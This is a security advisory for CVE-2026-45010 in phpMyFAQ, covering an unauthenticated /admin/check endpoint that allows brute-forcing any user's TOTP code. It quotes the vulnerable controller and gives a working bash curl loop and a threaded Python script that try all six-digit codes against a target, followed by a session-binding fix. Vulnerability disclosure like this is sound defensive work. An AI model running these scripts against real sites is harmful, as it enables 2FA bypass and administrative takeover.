thorsten/phpmyfaq
Affected
- introduced
0, fixed4.1.2(ecosystem)
Fixed versions
4.1.2
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-45010
phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id
Summary
The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.
The controller class declaration:
final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck
The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.
The check action (line 201-228):
#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);
$user = $this->currentUserService;
$user->getUserById($userId);
if (strlen((string) $token) === 6) {
$tfa = $this->twoFactor;
$result = $tfa->validateToken($token, $userId);
if ($result) {
$user->twoFactorSuccess();
$this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());
return new RedirectResponse(url: './');
}
$this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());
}
return new RedirectResponse('./token?user-id=' . $userId);
}
Problems:
user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.
Proof of Concept
# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST="http://target.example"
USER_ID=1
# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.
for code in $(seq -w 000000 999999); do
RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \
-X POST "${TARGET_HOST}/admin/check" \
-d "token=${code}&user-id=${USER_ID}")
# A successful 2FA grants a session and redirects to ./
# A failure redirects to ./token?user-id=1
if echo "$RESPONSE" | grep -qv "token?user-id="; then
echo "[+] Valid TOTP: ${code}"
break
fi
done
# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor
TARGET = "http://target.example/admin/check"
USER_ID = 1
def try_code(code):
r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False)
location = r.headers.get("Location", "")
if "token?user-id=" not in location:
return code
return None
with ThreadPoolExecutor(max_workers=50) as pool:
for result in pool.map(try_code, range(1000000)):
if result is not None:
print(f"[+] Valid TOTP: {result:06d}")
break
Impact
Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1)
CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)
Recommended Fix
authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts./check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.Example session-binding fix in check():
#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
$userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);
// Require that the session proves password auth for this specific user
if ($this->session->get('2fa_pending_user_id') !== $userId) {
return new RedirectResponse(url: './login');
}
// ... existing TOTP validation ...
}
And in authenticate(), after successful password check:
$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());
---
*Found by aisafe.io*
Critical Basis: The source's own band: CRITICAL
0, fixed 4.1.2 (ecosystem)4.1.2
The export has no generic command for this ecosystem.
0, fixed 4.1.2 (ecosystem)4.1.2
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0